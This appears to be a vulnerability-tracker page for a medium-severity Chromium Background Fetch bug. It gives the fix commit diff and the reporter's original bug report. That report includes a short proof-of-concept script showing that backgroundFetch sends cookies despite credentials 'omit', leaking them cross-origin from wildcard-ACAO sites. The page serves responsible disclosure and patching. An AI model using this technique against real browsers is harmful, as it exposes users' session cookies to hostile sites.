Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Background Fetch API
DescriptionInappropriate implementation in Background Fetch API
ComponentBackground Fetch API
Bug ClassLogic Error
Tracker40058068
Fix commit43cac9d50998 (chromium/src) +13/-0
CISA KEVNot listed
CreditedMaurice Dauer
Disclosed2025-05-27

Changed Functions

FunctionChangeNotes
if
components/download/content/internal/download_driver_impl.cc
modified

Files Changed

  • AUTHORS
  • components/background_fetch/background_fetch_delegate_base.cc
  • components/download/content/internal/download_driver_impl.cc
  • components/download/public/background_service/download_params.h
From 43cac9d509983c7f68a5ffa119cc7509bde375ea Mon Sep 17 00:00:00 2001
From: Maurice Dauer <[email protected]>
Date: Tue, 22 Apr 2025 02:49:18 -0700
Subject: [PATCH] [Background fetch] Pass request initiator to download service

The request initiator is required to perform certain security checks,
see |request_initiator| in url_request.mojom for details. Since
background fetch doesn't work like a normal download, we need to pass it
to the download service.

[email protected]

Bug: 40058068
Change-Id: I680e759afda3c582d38c05fb98e322065c43f124
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6464959
Reviewed-by: Min Qin <[email protected]>
Commit-Queue: Peter Beverloo <[email protected]>
Reviewed-by: Peter Beverloo <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1449821}
---

diff --git a/AUTHORS b/AUTHORS
index cb106a2..3dc5d32b 100644
--- a/AUTHORS
+++ b/AUTHORS
@@ -975,6 +975,7 @@
 Matthieu Rigolot <[email protected]>
 Matthieu Vlad Hauglustaine <[email protected]>
 Mattias Buelens <[email protected]>
+Maurice Dauer <[email protected]>
 Max Coplan <[email protected]>
 Max Perepelitsyn <[email protected]>
 Max Schmitt <[email protected]>
diff --git a/components/background_fetch/background_fetch_delegate_base.cc b/components/background_fetch/background_fetch_delegate_base.cc
index 2cd4b82..d4ecd4e5 100644
--- a/components/background_fetch/background_fetch_delegate_base.cc
+++ b/components/background_fetch/background_fetch_delegate_base.cc
@@ -114,6 +114,7 @@
     job_details->MarkJobAsStarted();
   }
 
+  params.request_params.initiator = job_details->fetch_description->origin;
   params.request_params.isolation_info =
       job_details->fetch_description->isolation_info;
 
diff --git a/components/download/content/internal/download_driver_impl.cc b/components/download/content/internal/download_driver_impl.cc
index 0428af02..5e0f726 100644
--- a/components/download/content/internal/download_driver_impl.cc
+++ b/components/download/content/internal/download_driver_impl.cc
@@ -229,6 +229,9 @@
   }
   download_url_params->set_update_first_party_url_on_redirect(
       request_params.update_first_party_url_on_redirect);
+  if (request_params.initiator) {
+    download_url_params->set_initiator(request_params.initiator.value());
+  }
 
   download_manager_coordinator_->DownloadUrl(std::move(download_url_params));
 }
diff --git a/components/download/public/background_service/download_params.h b/components/download/public/background_service/download_params.h
index 8d539cb..5277fcc 100644
--- a/components/download/public/background_service/download_params.h
+++ b/components/download/public/background_service/download_params.h
@@ -18,6 +18,7 @@
 #include "net/traffic_annotation/network_traffic_annotation.h"
 #include "services/network/public/mojom/fetch_api.mojom-shared.h"
 #include "url/gurl.h"
+#include "url/origin.h"
 
 namespace download {
 
@@ -135,6 +136,13 @@
   // considered a main frame navigation. However, this is not true for
   // background fetch.
   bool update_first_party_url_on_redirect = true;
+
+  // The origin that initiated the request. This is used to perform
+  // security checks. Normally, these checks aren't required for downloads,
+  // but necessary for background fetch.
+  // See |request_initiator| in url_request.mojom for a more detailed
+  // explanation.
+  std::optional<url::Origin> initiator;
 };
 
 // The parameters that describe a download request made to the DownloadService.
Loading diff…

Original Bug Report

reported by [email protected]

Security: Bypass of Issue 1239709: Cross-Origin Response Leak If wildcard ACAO is sent

VULNERABILITY DETAILS
BackgroundFetch sends cookies even if the credentials mode is “omit” or “same-origin” and thus bypassing the fix for https://crbug.com/chromium/1239709.

VERSION
Version 96.0.4664.45 (Official Build) Arch Linux (64-bit)

REPRODUCTION CASE
Using the glitch.me site from https://crbug.com/chromium/1239709:

<script>  
  const url = "https://echo-cookie-test.glitch.me/echo-cookie"; // some site with a wildcard ACAO header  
  
  navigator.serviceWorker.ready.then(async (swReg) => {  
    // { credentials: "same-origin" || "omit" } still sends cookies, but isn't blocked  
    const bgFetch = await swReg.backgroundFetch.fetch("test", [new Request(url, { credentials: "omit" })]);  
  
    const targetPage = await bgFetch.match(url);  
    const response = await targetPage.responseReady;  
  
    console.log(await response.text()); // response contains cookie  
  });  
  
  navigator.serviceWorker.register("sw.js");  
</script>  
// can be empty  

I’m not entirely sure, but AFAIU setting the request->request_initiator1, that is explained here2, in the DownloadParams struct, that is declared here3, should fix this.
Also not sure how that relates to https://crbug.com/chromium/1268580 and if that fixes it too.

CREDIT INFORMATION
Reporter credit: Maurice Dauer

View on issue tracker